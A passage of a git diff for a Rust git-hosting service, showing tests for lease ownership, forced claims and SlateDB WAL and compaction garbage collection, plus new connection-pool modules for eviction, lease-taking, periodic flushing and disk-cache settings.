assert_eq!(servers("rustic-git-0", "rustic-git", 1), vec!["rustic-git-0"]); +} + +#[test] +fn least_loaded_picks_the_emptiest_and_ignores_lapsed_entries() { + let now = 1_000; + let live = |n: &str| Entry { node: n.to_string(), expires_ms: now + 5_000 }; + let held = vec![ + ("a/1".to_string(), live("rustic-git-1")), + ("a/2".to_string(), live("rustic-git-1")), + ("a/3".to_string(), live("rustic-git-2")), + // Lapsed: the node that left it is not holding anything. + ("a/4".to_string(), Entry { node: "rustic-git-2".into(), expires_ms: now - 1 }), + ]; + let s = servers("rustic-git-0", "rustic-git", 3); + assert_eq!(least_loaded(&s, &held, &[], now), Some("rustic-git-2".to_string())); +} + +#[test] +fn least_loaded_skips_a_draining_node_even_though_it_looks_emptiest() { + let now = 1_000; + let held = vec![( + "a/1".to_string(), + Entry { node: "rustic-git-2".into(), expires_ms: now + 5_000 }, + )]; + let s = servers("rustic-git-0", "rustic-git", 3); + // rustic-git-1 holds nothing — it just released everything on its way out. + assert_eq!( + least_loaded(&s, &held, &["rustic-git-1".to_string()], now), + Some("rustic-git-2".to_string()), + "an emptied, departing node must not be preferred" + ); + // With everyone draining, naming someone still beats naming nobody. + assert!(least_loaded(&s, &held, &s, now).is_some()); +} + +// ---- forced claims: the asker could not reach the holder ---- + +/// Catches: a forced claim refusing an unheld repo, which would make recovery useless in the very +/// case it exists for (the entry was pruned while the owner was gone). +#[test] +fn force_claim_on_absent_entry_grants() { + match decide_force_claim(None, "rustic-git-2", 10_000) { + Grant::Granted(e) => assert_eq!(e.node, "rustic-git-2"), + g => panic!("absent entry must grant: {g:?}"), + } +} + +/// The whole point: an entry that is still LIVE on the clock but whose holder cannot be reached is +/// taken over now, not in ten seconds. Catches a forced claim that still honours the lease. +#[test] +fn force_claim_on_a_live_but_unreachable_holder_grants() { + // Written at 1_000 (expiry 11_000), so it is live at 5_000 and well past FORCE_MIN_AGE. + let cur = entry("rustic-git-1", 1_000 + LEASE_TTL.as_millis() as u64); + match decide_force_claim(Some(&cur), "rustic-git-2", 5_000) { + Grant::Granted(e) => assert_eq!(e.node, "rustic-git-2"), + g => panic!("a live entry whose holder is unreachable must be forced over: {g:?}"), + } +} + +/// An expired entry is granted with or without force. Catches a forced path that got stricter than +/// the ordinary one. +#[test] +fn force_claim_on_a_stale_entry_grants() { + let cur = entry("rustic-git-1", 1_000); + match decide_force_claim(Some(&cur), "rustic-git-2", 20_000) { + Grant::Granted(e) => assert_eq!(e.node, "rustic-git-2"), + g => panic!("expired entry must grant: {g:?}"), + } +} + +/// Catches an anti-flap rule that fires on the asker's own entry — a node re-forcing what it +/// already holds must stay idempotent, not be told it lost its own repo. +#[test] +fn force_claim_by_the_current_holder_grants() { + let cur = entry("rustic-git-1", 10_500); + match decide_force_claim(Some(&cur), "rustic-git-1", 10_000) { + Grant::Granted(e) => { + assert_eq!(e.node, "rustic-git-1"); + assert_eq!(e.expires_ms, 10_000 + LEASE_TTL.as_millis() as u64); + } + g => panic!("re-claim by the holder must be idempotent: {g:?}"), + } +} + +/// Anti-flap. Catches the ping-pong: two nodes recovering from the same dead owner arrive a few +/// hundred milliseconds apart, and without this the second takes the repo straight off the first. +#[test] +fn force_claim_refuses_an_entry_written_moments_ago() { + // Written at 10_000 by node 3; node 2 asks 500ms later. + let cur = entry("rustic-git-3", 10_000 + LEASE_TTL.as_millis() as u64); + match decide_force_claim(Some(&cur), "rustic-git-2", 10_500) { + Grant::HeldBy(e) => assert_eq!(e, cur, "must name the winner so the caller forwards there"), + g => panic!("a just-granted entry must not be forced over: {g:?}"), + } + // And exactly at the threshold it is fair game again. + let now = 10_000 + FORCE_MIN_AGE.as_millis() as u64; + match decide_force_claim(Some(&cur), "rustic-git-2", now) { + Grant::Granted(e) => assert_eq!(e.node, "rustic-git-2"), + g => panic!("past FORCE_MIN_AGE a forced claim must grant: {g:?}"), + } +} + +/// WAL objects must actually get collected under the leader's own settings. +/// +/// Asserting the constants would prove nothing: the collector was already enabled, already +/// running on its 300s tick, and structurally unable to delete a single object — WAL GC only +/// considers entries before `replay_after_wal_id`, and that pointer only moves when the memtable +/// flushes to L0. A map of a few dozen tiny keys never trips the 1 GiB size trigger, and a leader +/// restarting more often than 4096 writes never trips the count trigger either. So this drives +/// the real loop: write past the flush threshold, then let the collector run. +#[tokio::test] +async fn the_leader_actually_reclaims_its_wal() { + use slatedb::object_store::{memory::InMemory, path::Path as OsPath, ObjectStore}; + use std::sync::Arc; + + let os: Arc = Arc::new(InMemory::new()); + // The real settings, with the two knobs wound down so the test does not wait 5 minutes. + let db = slatedb::Db::builder(PATH, os.clone()) + .with_settings(leader_settings( + std::time::Duration::from_millis(50), + std::time::Duration::ZERO, + )) + .build() + .await + .unwrap(); + + // Written with a pause between each, so the 10ms flush interval seals a SEPARATE WAL object + // per write rather than batching them into two — the backlog this guards against is built out + // of one lease write every few seconds, and a test that lets them coalesce proves nothing. + let row = "n".repeat(100); + for i in 0..40u32 { + db.put(format!("node/{i}").as_bytes(), row.as_bytes()).await.unwrap(); + tokio::time::sleep(std::time::Duration::from_millis(20)).await; + } + + let count = |os: Arc| async move { + use futures::StreamExt; + os.list(Some(&OsPath::from(format!("{PATH}/wal")))) + .filter_map(|r| async move { r.ok() }) + .count() + .await + }; + let before = count(os.clone()).await; + assert!(before > 10, "the test needs a real backlog to collect, got {before}"); + + // The fix: without this the pointer never moves, and nothing below is collectable. + db.flush_with_options(slatedb::config::FlushOptions { + flush_type: slatedb::config::FlushType::MemTable, + }) + .await + .unwrap(); + + // Give the collector a few of its 50ms ticks. + let mut after = before; + for _ in 0..40 { + tokio::time::sleep(std::time::Duration::from_millis(100)).await; + after = count(os.clone()).await; + if after < before { + break; + } + } + + assert!( + after < before, + "the leader must reclaim WAL objects: {before} before, {after} after — if this fails the \ + flush pointer is stuck again and the WAL will grow without bound" + ); +} + +/// Checkpointing with NOTHING written must return, not block. +/// +/// The leader holds no repos, so on a quiet fleet the map often has nothing to flush when the +/// timer fires, and the checkpoint runs on the task that renews leases — if it ever blocked, the +/// leader would stop renewing. (A production hang at exactly this point was once blamed on the +/// empty flush itself; the cause was L0 being full with no compactor, now fixed in settings. The +/// property is still worth holding.) +#[tokio::test] +async fn checkpointing_an_untouched_map_returns() { + use slatedb::object_store::{memory::InMemory, ObjectStore}; + use std::sync::Arc; + + let os: Arc = Arc::new(InMemory::new()); + let store = OwnershipStore::open(os, true).await.unwrap(); + + // No writes at all — exactly the quiet-fleet case. + let r = tokio::time::timeout(std::time::Duration::from_secs(10), store.checkpoint()).await; + assert!(r.is_ok(), "a checkpoint with nothing to flush must not block the lease loop"); + r.unwrap().unwrap(); +} + +/// And a checkpoint WITH something to flush must also return. +/// +/// The pair matters: this is the path that actually moves the flush pointer and makes the WAL +/// collectable, and it is bounded for the same reason — it runs on the task that renews leases. +#[tokio::test] +async fn checkpointing_after_a_write_returns() { + use slatedb::object_store::{memory::InMemory, ObjectStore}; + use std::sync::Arc; + + let os: Arc = Arc::new(InMemory::new()); + let store = OwnershipStore::open(os, true).await.unwrap(); + store.put("alice/web", &entry("rustic-git-1", 1)).await.unwrap(); + + let r = tokio::time::timeout(std::time::Duration::from_secs(10), store.checkpoint()).await; + assert!(r.is_ok(), "a checkpoint with work to do must not block the lease loop either"); + r.unwrap().unwrap(); + + // Immediately again: nothing new was written, so this one takes the skip path. + let r2 = tokio::time::timeout(std::time::Duration::from_secs(10), store.checkpoint()).await; + assert!(r2.is_ok()); + r2.unwrap().unwrap(); +} + +/// A leader in its own StatefulSet cannot be derived from a server's name, and every server pod +/// counts — including ordinal zero, which is only skipped when the leader shares the prefix. +#[test] +fn a_split_leader_leaves_every_server_ordinal_serving() { + assert_eq!( + servers("rustic-git-leader-0", "rustic-git", 2), + vec!["rustic-git-0", "rustic-git-1"] + ); + // Still excludes zero when they share a StatefulSet. + assert_eq!(servers("rustic-git-0", "rustic-git", 3), vec!["rustic-git-1", "rustic-git-2"]); + // Solo split leader: one server, and it is not the leader. + assert_eq!(servers("rustic-git-leader-0", "rustic-git", 1), vec!["rustic-git-0"]); +} + +/// Every object the map leaves behind, by directory. Counting the whole prefix is the point: a +/// collector that empties one directory while another grows forever has not bounded anything. +async fn objects_by_dir(os: &std::sync::Arc) -> std::collections::BTreeMap { + use futures::StreamExt; + let prefix = slatedb::object_store::path::Path::from(PATH); + os.list(Some(&prefix)) + .filter_map(|r| async move { r.ok() }) + .fold(std::collections::BTreeMap::new(), |mut m, meta| async move { + let rel = meta.location.as_ref().trim_start_matches(PATH).trim_start_matches('/'); + let dir = rel.split('/').next().unwrap_or("").to_string(); + *m.entry(dir).or_insert(0) += 1; + m + }) + .await +} + +/// The map's object count must be BOUNDED, not merely slow-growing: compaction orphans its input +/// SSTs, and without collection they accumulate forever — the WAL's failure again, on a longer +/// fuse. This drives the real leader settings, with the real 300s `min_age`, under a clock the +/// test controls. +/// +/// The clock matters because the compactor pins its inputs: before each manifest write it takes a +/// checkpoint with a 15-minute lifetime (so a scan still reading the old SSTs can finish), and the +/// collector treats everything a live checkpoint references as active. So nothing may be deleted +/// inside that window — asserted, since deleting early would be the follower-read breakage this +/// whole configuration exists to avoid — and everything orphaned must be deleted after it. +#[tokio::test] +async fn the_leader_actually_reclaims_its_compacted_objects() { + use slatedb::object_store::{memory::InMemory, ObjectStore}; + use slatedb_common::clock::{MockSystemClock, SystemClock}; + use std::sync::Arc; + use std::time::Duration; + + // Starts at the real time: SST ids carry wall-clock timestamps, and the collector compares + // them against this clock. A clock at zero would make every object look newer than "now". + let clock = Arc::new(MockSystemClock::with_time(chrono::Utc::now().timestamp_millis())); + // Every background loop — WAL flusher, compactor, collector — sleeps on this clock, and a put + // waits for the flusher. So the clock must run on its own, ahead of the test, or the first + // write deadlocks. A mock second per real millisecond: twenty mock minutes in about a real + // second, coarse enough that every sleeper still wakes each step. + let driver = { + let clock = clock.clone(); + tokio::spawn(async move { + loop { + clock.advance(Duration::from_secs(1)).await; + tokio::time::sleep(Duration::from_millis(1)).await; + } + }) + }; + let until = |clock: Arc, t: chrono::DateTime| async move { + while clock.now() < t { + tokio::time::sleep(Duration::from_millis(20)).await; + } + }; + + let os: Arc = Arc::new(InMemory::new()); + let db = slatedb::Db::builder(PATH, os.clone()) + .with_settings(leader_settings(Duration::from_secs(5), Duration::from_secs(300))) + .with_system_clock(clock.clone()) + .build() + .await + .unwrap(); + + let row = "n".repeat(100); + for i in 0..90u32 { + db.put(format!("node/{i}").as_bytes(), row.as_bytes()).await.unwrap(); + db.flush_with_options(slatedb::config::FlushOptions { + flush_type: slatedb::config::FlushType::MemTable, + }) + .await + .unwrap(); + } + let t0 = clock.now(); + let peak = objects_by_dir(&os).await; + let total = |m: &std::collections::BTreeMap| m.values().sum::(); + eprintln!("after writes: {peak:?}"); + assert!(peak.get("compacted").copied().unwrap_or(0) > 8, "the compactor never ran: {peak:?}"); + + // Ten minutes on: still inside every compactor checkpoint's lifetime, so the orphans must all + // still be there. + until(clock.clone(), t0 + chrono::Duration::minutes(10)).await; + let inside = objects_by_dir(&os).await; + eprintln!("at +10min: {inside:?}"); + assert!( + inside.get("compacted") >= peak.get("compacted"), + "deleted inside the checkpoint window — a follower mid-scan would have broken: {peak:?} -> {inside:?}" + ); + + // Past 15 minutes the checkpoints expire, the collector prunes them, and the orphans they + // pinned become collectable. Twenty is ample for the 5s interval. + until(clock.clone(), t0 + chrono::Duration::minutes(20)).await; + let after = objects_by_dir(&os).await; + eprintln!("at +20min: {after:?}"); + driver.abort(); + assert!( + after.get("compacted").copied().unwrap_or(0) < peak.get("compacted").copied().unwrap_or(0), + "compacted orphans never collected: {peak:?} -> {after:?}" + ); + assert!( + total(&after) < total(&peak), + "nothing reclaimed once the checkpoints expired: {peak:?} -> {after:?}" + ); +} diff --git a/crates/storage/src/pool/evict.rs b/crates/storage/src/pool/evict.rs new file mode 100644 index 00000000..edcccffe --- /dev/null +++ b/crates/storage/src/pool/evict.rs @@ -0,0 +1,234 @@ +//! Eviction, `max_warm` pressure, and release-on-close. + +use super::Pool; +use slatedb::Db; +use std::sync::atomic::Ordering; +use std::sync::Arc; +use std::time::{Duration, Instant}; + +impl Pool { + /// Close databases nobody is using: idle past the TTL, or the least recently used once the + /// pool is over `max_warm`. + pub async fn sweep(self: &Arc) { + let picked = self.evictable(Instant::now()); + self.retire(picked).await + } + + pub(super) async fn enforce_bound(self: &Arc) { + if self.entries.lock().unwrap().len() > self.max_warm() { + let picked = self.evictable(Instant::now()); + self.retire(picked).await + } + } + + /// Pick what may be closed, under one lock, and mark it releasing. An entry still referenced + /// outside the pool is skipped — that is a request in flight, and closing under it would fail + /// the request. It becomes evictable on a later sweep. + /// + /// The entry is deliberately LEFT IN THE MAP: this node still holds the lease until the drain + /// is over, so a request arriving meanwhile must find the handle it is still being routed to. + /// Removing it here would make the pool re-open a database it is about to close — two handles + /// on one repo, and a fence. + pub(super) fn evictable(&self, now: Instant) -> Vec<(String, Arc)> { + let map = self.entries.lock().unwrap(); + let mut idle: Vec<(Instant, String)> = map + .iter() + .filter(|(_, e)| !e.releasing.load(Ordering::SeqCst)) + .filter(|(_, e)| e.db.get().is_none_or(|db| Arc::strong_count(db) == 1)) + .map(|(k, e)| (*e.last_used.lock().unwrap(), k.clone())) + .collect(); + idle.sort_by_key(|(t, _)| *t); // oldest first + let over = map.len().saturating_sub(self.max_warm()); + let mut out = Vec::new(); + for (i, (last, key)) in idle.into_iter().enumerate() { + if i >= over && now.duration_since(last) < self.idle_ttl() { + continue; // young enough, and we are not over the bound + } + // The handle comes FIRST, and the flag only with it. An entry whose open is still in + // flight (inserted by `get_once`, `OnceCell` not yet filled) has no handle to release + // or close; flagging it would strand it — never released, never closed, and skipped by + // `warm_repos`, so its lease would lapse under a database this node still holds open. + // Skip it; the next sweep picks it up once the open has finished. + if let Some(db) = map.get(&key).and_then(|e| e.db.get()).cloned() { + map[&key].releasing.store(true, Ordering::SeqCst); + out.push((key, db)); + } + } + out + } + + /// Drain, close, THEN give the leases back. Spawned, because the drain is half a second and + /// the sweeper must not block for it. With no hook there is no lease to give back and nothing + /// to wait for. + /// + /// The order is the whole point. Through the drain this node is still the owner on the record + /// AND still holds the handle, so a request routed here by a follower whose map is behind is + /// served rather than fenced. The entry only disappears once the database is shut, so the next + /// claimer opens a repo nobody holds — there is nothing left to fence. + async fn retire(self: &Arc, picked: Vec<(String, Arc)>) { + if picked.is_empty() { + return; + } + let Some(hook) = self.hook() else { + // Should not happen with a hook set: `serve()` holds the `App` for the process's whole + // life. Closing is still better than leaking handles, but say so — this closes without + // releasing, which is the ordering the design forbids. + tracing::error!(count = picked.len(), "release hook unavailable: closing database(s) WITHOUT releasing; the lease may outlive the handle"); + self.close_all(picked).await; + return; + }; + let pool = self.clone(); + let h = tokio::spawn(async move { + // Still the owner, still serving, for exactly as long as a follower's stale copy of + // the map can still send us traffic. + tokio::time::sleep(crate::ownership::DRAIN).await; + let keys: Vec = picked.iter().map(|(k, _)| k.clone()).collect(); + let skipped = pool.close_all(picked).await; + // Release ONLY what actually closed. A handle skipped for being in use went warm again + // during the drain: it keeps its lease, keeps serving, and a later sweep retries it. + // Deleting its entry here would leave this node holding an open database that the map + // says nobody owns — the lifecycle invariant broken the other way round. + for repo in keys.iter().filter(|k| !skipped.iter().any(|(s, _)| s == *k)) { + hook.release(repo.clone()).await; + } + }); + // Tracked so shutdown can wait for it: a retire dropped mid-sleep would never close its + // databases (WAL replay on the next open), and a `close()` running alongside one would + // release and close the same entries twice. + let mut v = self.retires.lock().unwrap(); + v.retain(|h| !h.is_finished()); + v.push(h); + } + + /// Returns the handles it skipped for being in use, so `close()` can deal with them; a sweep + /// ignores the return value because a later sweep picks them up again. + async fn close_all(&self, picked: Vec<(String, Arc)>) -> Vec<(String, Arc)> { + let mut skipped = Vec::new(); + for (key, h) in picked { + { + let mut map = self.entries.lock().unwrap(); + // Two references are expected: the map's and our own clone in `picked`. A third is + // a request that arrived DURING the drain — which is the whole point of the drain, + // so let it finish. Un-flag the entry and leave it warm for a later sweep. + if Arc::strong_count(&h) > 2 { + if let Some(e) = map.get(&key) { + e.releasing.store(false, Ordering::SeqCst); + } + skipped.push((key, h)); + continue; + } + map.remove(&key); + } + if let Err(e) = h.close().await { + tracing::error!(repo = %key, error = %e, "closing warm database failed"); + } + } + skipped + } + + /// Wait for every drain-close-release already in flight. A test that has just swept wants + /// the state AFTER the drain, and the only other way to get it is to sleep `DRAIN` plus a + /// guess — which is a flake with a margin. Takes the handles, so a caller that races `close()` + /// simply finds nothing to wait for there. + pub async fn await_retires(&self) { + let in_flight: Vec<_> = std::mem::take(&mut *self.retires.lock().unwrap()); + for h in in_flight { + // Bounded like `close()`: a stuck close must fail the assert, not hang the test. + let _ = tokio::time::timeout(crate::ownership::DRAIN * 3, h).await; + } + } + + /// Close every database. Used on shutdown, so the next node to open them replays no WAL — and + /// the leases go back LAST, once nothing is open, or the peer that takes a repo over fences a + /// node still holding it. Same drain-close-release order as eviction. + pub async fn close(self: &Arc) { + self.closed.store(true, Ordering::SeqCst); + // Let any drain already in flight finish first, so it is not dropped mid-sleep and cannot + // race this pass into a double release. Bounded: shutdown must not hang on a stuck close. + let in_flight: Vec<_> = std::mem::take(&mut *self.retires.lock().unwrap()); + for h in in_flight { + let _ = tokio::time::timeout(crate::ownership::DRAIN * 3, h).await; + } + let all: Vec<(String, Arc)> = { + let map = self.entries.lock().unwrap(); + map.iter() + // Same rule as `evictable`: only an entry with a handle may be flagged. One whose + // open is still in flight would otherwise be flagged, skipped here, and then + // dropped by the `clear()` below with its database left open. + .filter_map(|(k, e)| { + let db = e.db.get()?; + e.releasing.store(true, Ordering::SeqCst); + Some((k.clone(), db.clone())) + }) + .collect() + }; + if self.hook().is_some() { + tokio::time::sleep(crate::ownership::DRAIN).await; + } + let keys: Vec = all.iter().map(|(k, _)| k.clone()).collect(); + let skipped = self.close_all(all).await; + // A handle skipped for being in use survives inside its request task, holding the writer + // epoch on a lease already shortened to the drain — so the successor claims half a second + // later and fences a database this dying pod is still writing through. Only here, never in + // the sweep path (a later sweep retries those): at shutdown, cutting one in-flight request + // is strictly better than fencing the new owner. + for (_, h) in skipped { + if let Err(e) = h.close().await { + tracing::error!(error = %e, "closing an in-use database at shutdown failed"); + } + } + // Everything is shut now, in-use handles included, so every lease can go back — and only + // now. Releasing before the close is what lets the successor fence a dying pod that is + // still writing. + if let Some(hook) = self.hook() { + for repo in &keys { + hook.release(repo.clone()).await; + } + } + self.entries.lock().unwrap().clear(); // slots whose open never completed + } + + /// A flush shares the sweeper's task, so it gets a deadline for the same reason the leader's + /// checkpoint does: housekeeping must never be able to stop the eviction it rides on. + pub(super) const FLUSH_PATIENCE: Duration = Duration::from_secs(30); + + /// Flush warm databases that have gone `FLUSH_EVERY` without one. + /// + /// `close()` flushes the memtable, which moves `replay_after_wal_id` and is what makes a repo's + /// WAL collectable at all. Databases normally get that for free by being evicted when idle and + /// closed, over and over — but a repo busy enough never to go idle is never closed, so its + /// pointer never moves and its WAL grows without bound. That is precisely how the ownership map + /// reached 23,083 objects and stopped being able to start: it was opened once and never closed. + /// + /// Idempotent and cheap on a quiet database, so no dirty-tracking here — unlike the leader's + /// checkpoint this runs against many databases, and the bookkeeping would cost more than the + /// flush it saves. + pub async fn flush_stale(self: &Arc) { + let now = Instant::now(); + let due: Vec<(String, Arc)> = { + let map = self.entries.lock().unwrap(); + map.iter() + .filter(|(_, e)| !e.releasing.load(Ordering::SeqCst)) + .filter(|(_, e)| now.duration_since(*e.last_flush.lock().unwrap()) >= self.flush_every()) + .filter_map(|(k, e)| e.db.get().map(|db| (k.clone(), db.clone()))) + .collect() + }; + for (key, db) in due { + let flush = db.flush_with_options(slatedb::config::FlushOptions { + flush_type: slatedb::config::FlushType::MemTable, + }); + match tokio::time::timeout(Self::FLUSH_PATIENCE, flush).await { + Ok(Ok(())) => { + if let Some(e) = self.entries.lock().unwrap().get(&key) { + *e.last_flush.lock().unwrap() = Instant::now(); + } + } + // Left un-stamped on purpose, both ways: a flush that failed or timed out did not + // move the pointer, so the next sweep must try again rather than wait another + // FLUSH_EVERY on the assumption it worked. + Ok(Err(e)) => tracing::warn!(repo = %key, error = %e, "flushing failed; the next sweep retries"), + Err(_) => tracing::warn!(repo = %key, patience = ?Self::FLUSH_PATIENCE, "flushing still running after the patience window; will retry"), + } + } + } +} diff --git a/crates/storage/src/pool/lease.rs b/crates/storage/src/pool/lease.rs new file mode 100644 index 00000000..b526b2ef --- /dev/null +++ b/crates/storage/src/pool/lease.rs @@ -0,0 +1,178 @@ +//! Lease-taking: opening a repo's database, single-flighted, through fencing detection. + +use super::{path, Entry, FencedError, Pool}; +use crate::Result; +use slatedb::Db; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::Arc; +use std::time::Instant; + +impl Pool { + /// The database for a repo, opening it if this node does not already hold it warm. + /// + /// A closed handle is evicted and reported, NOT reopened. Under routing, "closed" almost always + /// means "fenced": another node opened this repo because it believes it owns it. Reopening here + /// would take it straight back and turn any disagreement into a flap. The caller decides — via + /// the routing rule — whether this node should hold the repo, and only then reopens. + pub async fn get(self: &Arc, owner: &str, name: &str) -> Result> { + let h = self.get_once(owner, name).await?; + match h.status().close_reason { + None => Ok(h), + Some(slatedb::CloseReason::Fenced) => { + self.evict_if_same(owner, name, &h).await; + drop(h); + Err(FencedError { repo: format!("{owner}/{name}") }.into()) + } + // Closed clean (a shutdown racing this request) or by a panicked background task: + // nobody else holds the epoch, so this is not a routing question and must not be + // answered as one — a fence here sends the caller off to force-claim a repo nobody + // took. Drop the dead handle; the next call reopens in place. + Some(_) => { + self.evict_if_same(owner, name, &h).await; + drop(h); + Err(crate::err(format!("{owner}/{name}: database was closed; retry"))) + } + } + } + + async fn get_once(self: &Arc, owner: &str, name: &str) -> Result> { + if self.closed.load(Ordering::SeqCst) { + return Err(crate::err(format!("{owner}/{name}: pool is closed"))); + } + let key = format!("{owner}/{name}"); + let entry = { + let mut map = self.entries.lock().unwrap(); + let e = map + .entry(key.clone()) + .or_insert_with(|| { + Arc::new(Entry { + db: tokio::sync::OnceCell::new(), + last_used: std::sync::Mutex::new(Instant::now()), + last_flush: std::sync::Mutex::new(Instant::now()), + releasing: AtomicBool::new(false), + }) + }) + .clone(); + *e.last_used.lock().unwrap() = Instant::now(); + e + }; + // Outside the map lock: opening is slow, and holding the lock across it would serialise + // every repo behind whichever one is currently opening. + let handle = entry + .db + .get_or_try_init(|| self.open(owner, name)) + .await + // A failed open leaves an empty cell, so the next caller retries rather than + // inheriting the error. Drop the slot so a poisoned key cannot accumulate — but only + // if it is still OUR slot: an evict and a reopen may have replaced it while we were + // failing, and removing the successor's entry would make `adopt` close its healthy + // database and report a fence that only a local open error caused. + .inspect_err(|_| { + let mut map = self.entries.lock().unwrap(); + if map.get(&key).is_some_and(|e| Arc::ptr_eq(e, &entry)) { + map.remove(&key); + } + })? + .clone(); + let handle = self.adopt(&key, &entry, handle).await?; + self.enforce_bound().await; + Ok(handle) + } + + /// The last step of an open: keep the handle only if the map still names this slot. + /// + /// An evict that ran DURING the open (a lost lease, a fence) found no handle to close and + /// removed the slot. Adopting the handle now would leave a database open that nothing names + /// and no sweep can reach — holding the writer epoch until the process dies, which is the + /// fence the next owner will hit. Close it and report a fence: the caller re-routes. + // ponytail: `App::on_fenced` evicts blindly by key, so this synthesized fence can close a + // sibling's fresh healthy entry — one extra flap, self-healing. Upgrade: have `on_fenced` + // evict only when the slot's own handle actually reports closed. + pub(super) async fn adopt(&self, key: &str, entry: &Arc, handle: Arc) -> Result> { + let current = self.entries.lock().unwrap().get(key).is_some_and(|e| Arc::ptr_eq(e, entry)); + if current { + return Ok(handle); + } + let _ = handle.close().await; + Err(FencedError { repo: key.to_string() }.into()) + } + + pub(super) async fn open(&self, owner: &str, name: &str) -> Result> { + Ok(Arc::new( + Db::builder(path(owner, name), self.os.clone()) + .with_settings(self.settings.clone()) + .with_db_cache(self.db_cache.clone()) + .build() + .await?, + )) + } + + /// Drop a repo from the pool and close it, now, with no release and no drain. Two callers: + /// a write that came back fenced (another node already has the epoch), and the renewal task + /// finding this node has lost the lease. Both mean the map no longer names us, so there is + /// nothing to give back and nothing to drain for — holding the handle any longer is the + /// lifecycle invariant's other half broken. + pub async fn evict(&self, owner: &str, name: &str) { + let entry = self + .entries + .lock() + .unwrap() + .remove(&format!("{owner}/{name}")); + // `Arc::into_inner` fails whenever another task still holds the entry — which `get_once` + // does across its whole open — so take the handle out of the shared entry instead. Dropping + // the slot without closing would leave a database open on a lease we were just told we had + // lost (the `renew_once` caller), which is the invariant broken the other way round. + let handle = match entry { + Some(e) => match Arc::try_unwrap(e) { + Ok(e) => e.db.into_inner(), + Err(shared) => shared.db.get().cloned(), + }, + None => None, + }; + if let Some(h) = handle { + Self::close_bounded(h).await; + } + } + + /// Close a handle taken out of the map, waiting at most `FLUSH_PATIENCE` for it. Both evicts + /// run on the renewal task, so an unbounded close (an S3 flush that hangs) would stop every + /// other lease on the node from renewing — the same failure the leader's checkpoint got a + /// deadline for. The close is SPAWNED rather than merely timed out: dropping it mid-flush + /// would leave the database open with nobody left to close it, whereas a detached close still + /// finishes on its own; the handle is already out of the map either way, so no new writer can + /// reach it. Closing flushes, which a fenced database cannot do; that error is expected and + /// ignored. + async fn close_bounded(h: Arc) { + let close = tokio::spawn(async move { h.close().await }); + if tokio::time::timeout(Self::FLUSH_PATIENCE, close).await.is_err() { + tracing::warn!(patience = ?Self::FLUSH_PATIENCE, "closing an evicted database is still running; not waiting"); + } + } + + /// Evict only if the map still holds the exact handle the caller saw as closed. A blind evict + /// races a concurrent reopen: two requests observing the same fenced handle would otherwise + /// have the second one close the first's fresh, healthy database. + pub async fn evict_if_same(&self, owner: &str, name: &str, observed: &Arc) { + let key = format!("{owner}/{name}"); + let entry = { + let mut map = self.entries.lock().unwrap(); + match map.get(&key) { + Some(e) if e.db.get().is_some_and(|cur| Arc::ptr_eq(cur, observed)) => map.remove(&key), + _ => None, + } + }; + // Same fallback as `evict`: another task (e.g. this call's own caller, still holding + // `observed`) may keep the `Entry` Arc alive, so `try_unwrap` can fail even though we + // decided to evict — take a clone of the handle to close instead of losing it. + let handle = match entry { + Some(e) => match Arc::try_unwrap(e) { + Ok(e) => e.db.into_inner(), + Err(shared) => shared.db.get().cloned(), + }, + None => None, + }; + if let Some(h) = handle { + Self::close_bounded(h).await; + } + } +} diff --git a/src/pool.rs b/crates/storage/src/pool/mod.rs similarity index 50% rename from src/pool.rs rename to crates/storage/src/pool/mod.rs index 81fbeebb..fcd8a20a 100644 --- a/src/pool.rs +++ b/crates/storage/src/pool/mod.rs @@ -25,6 +25,9 @@ use std::sync::atomic::{AtomicBool, Ordering}; use std::sync::{Arc, Mutex, Weak}; use std::time::{Duration, Instant}; +mod evict; +mod lease; + /// How the pool gives a repo's lease back before it closes the database. Implemented by `App`, /// which owns the ownership client; the pool holds it as a `Weak` because `App -> Store -> Pool` /// already points the other way and an `Arc` here would be a cycle that never drops. @@ -37,6 +40,10 @@ pub trait ReleaseHook: Send + Sync + 'static { struct Entry { db: tokio::sync::OnceCell>, last_used: Mutex, + /// When this database last had its memtable flushed. Only ever moved by `flush_stale`, which + /// exists for the database that is never idle and so never gets the flush that `close()` would + /// otherwise have given it. + last_flush: Mutex, /// Set once eviction has picked this entry. It stays in the map through the drain — the node /// is still the owner and still serving — so this is what stops a second sweep picking it /// again, and what keeps the renewal task from extending a lease that was just released. @@ -51,7 +58,10 @@ pub struct Pool { idle_ttl_ms: std::sync::atomic::AtomicU64, /// Ceiling on warm databases, so a wide burst cannot pin unbounded memory. max_warm: std::sync::atomic::AtomicUsize, + flush_every_ms: std::sync::atomic::AtomicU64, settings: slatedb::config::Settings, + /// Shared across every database this pool opens — see `shared_db_cache`. + db_cache: Arc, hook: Mutex>>, retires: Mutex>>, /// Set by `close()` and never cleared. A pool closed on the way out must stay closed: the @@ -93,6 +103,61 @@ fn env_u64(k: &str, default: u64) -> u64 { .unwrap_or(default) } +/// SlateDB's on-disk cache for object-store parts, rooted under `RUSTIC_GIT_CACHE_DIR`. +/// +/// It is OFF by default (`root_folder: None`), which is how this has been running: every SST block +/// miss under a tag read, a visibility check or a ref read is an S3 GET. Sized by env because the +/// budget is the pod's ephemeral disk, which nothing here can see; `..._DISK_CACHE_MB=0` turns it +/// back off for a node with no scratch space. `cache_on_flush`/`cache_on_compaction` stay off: the +/// repo pool runs neither by default, and a leader that does would be caching SSTs it is not about +/// to re-read. +/// +/// `subdir` separates the repo pool from the ownership map, which is read on every route decision +/// and must not share an eviction budget with 64 repo databases. +/// +/// Keyed on `RUSTIC_GIT_CACHE_DIR` being SET, not on a default path, and that is load-bearing: +/// the cache is keyed by database path, so two object stores holding different data under +/// `repo/alice/web` would read each other's parts. In the fleet there is exactly one bucket per +/// node and the deployment sets the variable; in a test process there are dozens of `InMemory` +/// stores using the same paths, and an implicit `./.local/cache` would silently cross them. +pub(crate) fn disk_cache_options(subdir: &str) -> slatedb::config::ObjectStoreCacheOptions { + let mb = env_u64("RUSTIC_GIT_SLATEDB_DISK_CACHE_MB", 4096); + let root = std::env::var("RUSTIC_GIT_CACHE_DIR") + .ok() + .map(|d| std::path::PathBuf::from(d).join(subdir)); + slatedb::config::ObjectStoreCacheOptions { + root_folder: root.filter(|_| mb > 0), + max_cache_size_bytes: Some((mb * 1024 * 1024) as usize), + ..Default::default() + } +} + +/// One block cache for every repo database on this node, not one per database. +/// +/// `Db::builder` installs its own 512 MiB block + 128 MiB meta cache when none is given +/// (`DEFAULT_BLOCK_CACHE_CAPACITY`/`DEFAULT_META_CACHE_CAPACITY` in slatedb 0.15) 